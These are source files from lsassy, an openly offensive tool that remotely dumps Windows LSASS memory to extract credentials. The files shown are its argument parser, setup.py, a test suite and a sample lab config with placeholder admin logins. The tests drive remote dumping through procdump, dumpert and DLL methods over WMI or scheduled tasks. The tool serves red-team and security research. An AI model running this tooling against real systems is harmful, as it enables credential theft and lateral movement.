55 | group_auth.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' | |
56 | '(128 or 256 bits)') | |
57 | ||
58 | group_out = parser.add_argument_group('output') | |
59 | group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file') | |
60 | group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "none"], action='store', default="pretty", help='Output format (Default pretty)') | |
61 | ||
62 | parser.add_argument('-r', '--raw', action='store_true', | |
63 | help='No basic result filtering (Display host credentials, duplicates and empty pass)') | |
64 | parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') | |
65 | parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') | |
66 | parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) | |
67 | parser.add_argument('target', nargs='*', type=str, action='store', help='The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets') | |
68 | ||
69 | if len(sys.argv) == 1: | |
70 | parser.print_help() | |
71 | sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) | |
72 | ||
73 | args = parser.parse_args() | |
74 | ||
75 | if not args.target: | |
76 | parser.print_help() | |
77 | sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) | |
78 | ||
79 | return args | |
80 | ||
81 | ||
82 | def lsassy_exit(logger, error): | |
83 | if error.error_msg: | |
84 | logger.error(error.error_msg) | |
85 | if error.error_exception: | |
86 | logger.debug("Error : {}".format(error.error_exception)) | |
87 | ||
88 | ||
89 | def lsassy_warn(logger, error): | |
90 | if error.error_msg: | |
91 | logger.warn(error.error_msg) | |
92 | if error.error_exception: | |
93 | logger.debug("Error : {}".format(error.error_exception)) | |
94 | ||
95 | ||
96 | def is_valid_ip(ip): | |
97 | ip = ip.split(".") | |
98 | if len(ip) != 4: | |
99 | return False | |
100 | return all([0 <= int(t) <= 255 for t in ip]) | |
101 | ||
102 | ||
103 | def get_log_max_spaces(targets): | |
104 | return max(len(t) for t in targets) + 4 | |
105 | ||
106 | ||
107 | def get_log_spaces(target, spaces): | |
108 | return spaces - len(target) | |
109 | ||
110 | ||
111 | def parse_targets(target): | |
112 | if '-' in target: | |
113 | ip_range = target.split('-') | |
114 | try: | |
115 | t = IPRange(ip_range[0], ip_range[1]) | |
116 | except AddrFormatError: | |
117 | try: | |
118 | start_ip = IPAddress(ip_range[0]) | |
119 | ||
120 | start_ip_words = list(start_ip.words) | |
121 | start_ip_words[-1] = ip_range[1] | |
122 | start_ip_words = [str(v) for v in start_ip_words] | |
123 | ||
124 | end_ip = IPAddress('.'.join(start_ip_words)) | |
125 | ||
126 | t = IPRange(start_ip, end_ip) | |
127 | except AddrFormatError: | |
128 | t = target | |
129 | else: | |
130 | try: | |
131 | t = IPNetwork(target) | |
132 | except AddrFormatError: | |
133 | t = target | |
134 | if type(t) == IPNetwork or type(t) == IPRange: | |
135 | return list(t) | |
136 | else: | |
137 | return [t.strip()] | |
138 | ||
139 | ||
140 | def get_targets(targets): | |
141 | ret_targets = [] | |
142 | for target in targets: | |
143 | if os.path.exists(target): | |
144 | with open(target, 'r') as target_file: | |
145 | for target_entry in target_file: | |
146 | ret_targets += parse_targets(target_entry) | |
147 | else: | |
148 | ret_targets += parse_targets(target) | |
149 | return [str(ip) for ip in ret_targets] | |
150 | ||
151 | ||
152 | def join_jobs(jobs): | |
153 | for job in jobs: | |
154 | try: | |
155 | job.join() | |
156 | except Exception as e: | |
157 | pass | |
158 | ||
159 | ||
160 | def terminate_jobs(jobs): | |
161 | for job in jobs: | |
162 | try: | |
163 | job.terminate() | |
164 | except Exception as e: | |
165 | pass⏎ |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import pathlib | |
7 | ||
8 | from setuptools import setup, find_packages | |
9 | ||
10 | HERE = pathlib.Path(__file__).parent | |
11 | README = (HERE / "README.md").read_text() | |
12 | ||
13 | setup( | |
14 | name="lsassy", | |
15 | version="2.1.2", | |
16 | author="Pixis", | |
17 | author_email="[email protected]", | |
18 | description="Python library to parse remote lsass dumps", | |
19 | long_description=README, | |
20 | long_description_content_type="text/markdown", | |
21 | packages=find_packages(exclude=["assets", "cme"]), | |
22 | include_package_data=True, | |
23 | url="https://github.com/hackanddo/lsassy", | |
24 | zip_safe = True, | |
25 | license="MIT", | |
26 | install_requires=[ | |
27 | 'impacket', | |
28 | 'netaddr', | |
29 | 'pypykatz>=0.3.0' | |
30 | ], | |
31 | python_requires='>=3.6', | |
32 | classifiers=( | |
33 | "Programming Language :: Python :: 3.6", | |
34 | "Programming Language :: Python :: 3.7", | |
35 | "Programming Language :: Python :: 3.8", | |
36 | "Programming Language :: Python :: 3.9", | |
37 | "License :: OSI Approved :: MIT License", | |
38 | "Operating System :: OS Independent", | |
39 | ), | |
40 | entry_points={ | |
41 | 'console_scripts': [ | |
42 | 'lsassy = lsassy.core:run', | |
43 | ], | |
44 | }, | |
45 | test_suite='tests.tests' | |
46 | ) |
0 | #!/usr/bin/env python3 | |
1 | # Author: | |
2 | # Romain Bentz (pixis - @hackanddo) | |
3 | # Website: | |
4 | # https://beta.hackndo.com | |
5 | ||
6 | ||
7 | import unittest | |
8 | ||
9 | from lsassy.utils.defines import * | |
10 | from lsassy.modules.dumper import Dumper | |
11 | from lsassy.modules.impacketconnection import ImpacketConnection | |
12 | from lsassy.modules.impacketfile import ImpacketFile | |
13 | from lsassy.modules.logger import Logger | |
14 | from lsassy.modules.writer import Writer | |
15 | from lsassy.core import Lsassy | |
16 | from tests.tests_config import * | |
17 | ||
18 | ||
19 | class test_impacketconnection(unittest.TestCase): | |
20 | def setUp(self): | |
21 | self.log = Logger(Logger.Options(verbosity=0, quiet=True)) | |
22 | self.conn = None | |
23 | ||
24 | def tearDown(self): | |
25 | if isinstance(self.conn, ImpacketConnection): | |
26 | self.conn.clean() | |
27 | ||
28 | def test_login_dns_error(self): | |
29 | self.conn = ImpacketConnection(ImpacketConnection.Options("pixis.hackndo", domain, da_login, da_password)) | |
30 | self.conn.set_logger(self.log) | |
31 | ret = self.conn.login() | |
32 | self.assertIsInstance(ret, RetCode) | |
33 | self.assertEqual(ERROR_DNS_ERROR[1], ret.error_msg) | |
34 | ||
35 | @unittest.skipUnless(kerberos, "Skipping Kerberos (Set kerberos=True to incude Kerberos tests)") | |
36 | def test_login_kerberos_success(self): | |
37 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password, '', '', kerberos, domain_controller)) | |
38 | self.conn.set_logger(self.log) | |
39 | ret = self.conn.login() | |
40 | self.assertIsInstance(ret, RetCode) | |
41 | self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) | |
42 | ||
43 | def test_login_connection_error(self): | |
44 | self.conn = ImpacketConnection(ImpacketConnection.Options("255.255.255.255", domain, da_login, da_password)) | |
45 | self.conn.set_logger(self.log) | |
46 | ret = self.conn.login() | |
47 | self.assertIsInstance(ret, RetCode) | |
48 | self.assertEqual(ERROR_CONNECTION_ERROR[1], ret.error_msg) | |
49 | ||
50 | def test_login_login_error(self): | |
51 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, "wrong_password")) | |
52 | self.conn.set_logger(self.log) | |
53 | ret = self.conn.login() | |
54 | self.assertIsInstance(ret, RetCode) | |
55 | self.assertEqual(ERROR_LOGIN_FAILURE[1], ret.error_msg) | |
56 | ||
57 | def test_login_login_success(self): | |
58 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password)) | |
59 | self.conn.set_logger(self.log) | |
60 | ret = self.conn.login() | |
61 | self.assertIsInstance(ret, RetCode) | |
62 | self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) | |
63 | ||
64 | def test_is_admin(self): | |
65 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password)) | |
66 | self.conn.set_logger(self.log) | |
67 | self.conn.login() | |
68 | ret = self.conn.isadmin() | |
69 | self.assertIsInstance(ret, RetCode) | |
70 | self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) | |
71 | ||
72 | @unittest.skipUnless(usr_login and usr_password, "No low privileged user credential provided") | |
73 | def test_is_admin_error(self): | |
74 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, usr_login, usr_password)) | |
75 | self.conn.set_logger(self.log) | |
76 | self.conn.login() | |
77 | ret = self.conn.isadmin() | |
78 | self.assertIsInstance(ret, RetCode) | |
79 | self.assertEqual(ERROR_ACCESS_DENIED[1], ret.error_msg) | |
80 | ||
81 | ||
82 | class test_impacketfile(unittest.TestCase): | |
83 | def setUp(self): | |
84 | self.log = Logger(Logger.Options(verbosity=0, quiet=True)) | |
85 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password)) | |
86 | self.conn.set_logger(self.log) | |
87 | self.conn.login() | |
88 | self.ifile = ImpacketFile(self.conn, self.log) | |
89 | ||
90 | def tearDown(self): | |
91 | self.ifile.clean() | |
92 | self.conn.clean() | |
93 | ||
94 | def test_path_error(self): | |
95 | ret = self.ifile.open("RANDOM") | |
96 | self.assertIsInstance(ret, RetCode) | |
97 | self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg) | |
98 | ||
99 | def test_share_error(self): | |
100 | ret = self.ifile.open("RANDOM/path/file") | |
101 | self.assertIsInstance(ret, RetCode) | |
102 | self.assertEqual(ERROR_SHARE[1], ret.error_msg) | |
103 | ||
104 | def test_file_error(self): | |
105 | ret = self.ifile.open("C$/path/file") | |
106 | self.assertIsInstance(ret, RetCode) | |
107 | self.assertEqual(ERROR_FILE[1], ret.error_msg) | |
108 | ||
109 | def test_file_success(self): | |
110 | ret = self.ifile.open("C$/Windows/System32/calc.exe") | |
111 | ret.clean() | |
112 | self.assertIsInstance(ret, ImpacketFile) | |
113 | ||
114 | ||
115 | class test_dumper(unittest.TestCase): | |
116 | def setUp(self): | |
117 | self.log = Logger(Logger.Options(verbosity=0, quiet=True)) | |
118 | self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password)) | |
119 | self.conn.set_logger(self.log) | |
120 | self.conn.login() | |
121 | ||
122 | def tearDown(self): | |
123 | self.conn.clean() | |
124 | ||
125 | """ | |
126 | DLL Method | |
127 | """ | |
128 | def test_dll_dump_invalid_shell(self): | |
129 | ret = Dumper(self.conn).dll_dump(("wmi",), "unknown") | |
130 | self.assertIsInstance(ret, RetCode) | |
131 | self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) | |
132 | ||
133 | def test_dll_execute_error(self): | |
134 | ret = Dumper(self.conn).dll_dump((), "cmd") | |
135 | self.assertIsInstance(ret, RetCode) | |
136 | self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg) | |
137 | ||
138 | def test_dll_execute_success(self): | |
139 | ret = Dumper(self.conn).dll_dump(("task",), "cmd") | |
140 | self.assertIsInstance(ret, RetCode) | |
141 | self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) | |
142 | ||
143 | """ | |
144 | Procdump Method | |
145 | """ | |
146 | def test_procdump_missing_parameter(self): | |
147 | ret = Dumper(self.conn).procdump_dump(("wmi",)) | |
148 | self.assertIsInstance(ret, RetCode) | |
149 | self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg) | |
150 | ||
151 | def test_procdump_invalid_parameter(self): | |
152 | dump_option = Dumper.Options() | |
153 | dump_option.procdump_path = "/invalid/path" | |
154 | ret = Dumper(self.conn, dump_option).procdump_dump(()) | |
155 | self.assertIsInstance(ret, RetCode) | |
156 | self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg) | |
157 | ||
158 | @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") | |
159 | def test_procdump_upload_error(self): | |
160 | dump_option = Dumper.Options() | |
161 | dump_option.procdump_path = procdump_path | |
162 | dump_option.share = "INVALID_SHARE" | |
163 | ret = Dumper(self.conn, dump_option).procdump_dump(()) | |
164 | self.assertIsInstance(ret, RetCode) | |
165 | self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg) | |
166 | ||
167 | @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") | |
168 | def test_procdump_execute_error(self): | |
169 | dump_option = Dumper.Options() | |
170 | dump_option.procdump_path = procdump_path | |
171 | dump = Dumper(self.conn, dump_option) | |
172 | ret = dump.procdump_dump(()) | |
173 | self.assertIsInstance(ret, RetCode) | |
174 | self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg) | |
175 | dump.clean() | |
176 | ||
177 | """ | |
178 | Dumpert Method | |
179 | """ | |
180 | def test_dumpert_missing_parameter(self): | |
181 | ret = Dumper(self.conn).dumpert_dump(("wmi",)) | |
182 | self.assertIsInstance(ret, RetCode) | |
183 | self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg) | |
184 | ||
185 | def test_dumpert_invalid_parameter(self): | |
186 | dump_option = Dumper.Options() | |
187 | dump_option.dumpert_path = "/invalid/path" | |
188 | ret = Dumper(self.conn, dump_option).dumpert_dump(()) | |
189 | self.assertIsInstance(ret, RetCode) | |
190 | self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg) | |
191 | ||
192 | @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") | |
193 | def test_dumpert_upload_error(self): | |
194 | dump_option = Dumper.Options() | |
195 | dump_option.dumpert_path = dumpert_path | |
196 | dump_option.share = "INVALID_SHARE" | |
197 | ret = Dumper(self.conn, dump_option).dumpert_dump(()) | |
198 | self.assertIsInstance(ret, RetCode) | |
199 | self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg) | |
200 | ||
201 | @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided") | |
202 | def test_dumpert_execute_error(self): | |
203 | dump_option = Dumper.Options() | |
204 | dump_option.dumpert_path = dumpert_path | |
205 | dumper = Dumper(self.conn, dump_option) | |
206 | ret = dumper.dumpert_dump(()) | |
207 | self.assertIsInstance(ret, RetCode) | |
208 | self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg) | |
209 | dumper.clean() | |
210 | ||
211 | """ | |
212 | Dump generic | |
213 | """ | |
214 | def test_dump_method_unknown(self): | |
215 | dump_option = Dumper.Options() | |
216 | dump_option.method = 99 | |
217 | ret = Dumper(self.conn, dump_option).dump() | |
218 | self.assertIsInstance(ret, RetCode) | |
219 | self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg) | |
220 | ||
221 | def test_dump_success(self): | |
222 | dumper = Dumper(self.conn) | |
223 | ret = dumper.dump() | |
224 | dumper.clean() | |
225 | self.assertIsInstance(ret, RetCode) | |
226 | self.assertEqual(ERROR_SUCCESS[1], ret.error_msg) | |
227 | ||
228 | ||
229 | ||
230 | ||
231 | @unittest.skipUnless(procdump_path, "Procdump path wasn't provided") | |
232 | @unittest.skipUnless(protected_target, "No IP address with protected LSASS was provided") | |
233 | class test_dumper_protected(unittest.TestCase): | |
234 | def setUp(self): | |
235 | self.log = Logger(Logger.Options(verbosity=0, quiet=True)) | |
236 | self.conn = ImpacketConnection(ImpacketConnection.Options(protected_target, domain, da_login, da_password)) | |
237 | self.conn.set_logger(self.log) | |
238 | self.conn.login() | |
239 | ||
240 | def tearDown(self): | |
241 | self.conn.clean() | |
242 | ||
243 | def test_dump_protected(self): | |
244 | dump_option = Dumper.Options() | |
245 | dump_option.method = 2 | |
246 | dump_option.procdump_path = procdump_path | |
247 | dumper = Dumper(self.conn, dump_option) | |
248 | ret = dumper.dump() | |
249 | self.assertIsInstance(ret, RetCode) | |
250 | self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg) | |
251 | dumper.clean() | |
252 | ||
253 | class test_lsassy(unittest.TestCase): | |
254 | def setUp(self): | |
255 | log_options = Logger.Options(verbosity=0, quiet=True) | |
256 | write_options = Writer.Options(format="none") | |
257 | self.lsassy = Lsassy(target, da_login, domain, da_password, log_options=log_options, write_options=write_options) | |
258 | ||
259 | def tearDown(self): | |
260 | self.lsassy.clean() | |
261 | ||
262 | def test_lsassy_success(self): | |
263 | ret = self.lsassy.run() | |
264 | self.assertEqual(0, ret) | |
265 | ||
266 | ||
267 | if __name__ == '__main__': | |
268 | unittest.main() | |
269 |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com | |
4 | ||
5 | """ | |
6 | RENAME THIS FILE TO tests_config.py | |
7 | """ | |
8 | ||
9 | # Include Kerberos authentication tests | |
10 | # This test requires to have a valid TGT for a local admin set in KRB5CCNAME | |
11 | # See https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage#kerberos | |
12 | kerberos = False | |
13 | ||
14 | # Domain controller FQDN or IP, only needed if kerberos set to True | |
15 | domain_controller = "192.168.1.101" | |
16 | ||
17 | # If kerberos is set to True, FQDN of a valid target. IP address otherwise. | |
18 | target = "dc01.adsec.local" | |
19 | ||
20 | # If kerberos is set to True, FQDN of target where LSASS is protected. IP address otherwise. (empty to skip tests) | |
21 | protected_target = "protected_server.adsec.local" | |
22 | ||
23 | # Domain Name | |
24 | domain = "adsec.local" | |
25 | ||
26 | # User with admin rights on target and protected_target | |
27 | da_login = "jdoe" | |
28 | da_password = "p4ssw0rd" | |
29 | ||
30 | # User without admin rights on target (empty to skip tests) | |
31 | usr_login = "msmith" | |
32 | usr_password = "n0rights4U" | |
33 | ||
34 | # Local tools for dumping methods (empty to skip tests) | |
35 | procdump_path = "/opt/procdump.exe" | |
36 | dumpert_path = "/opt/dumpert.exe"⏎ |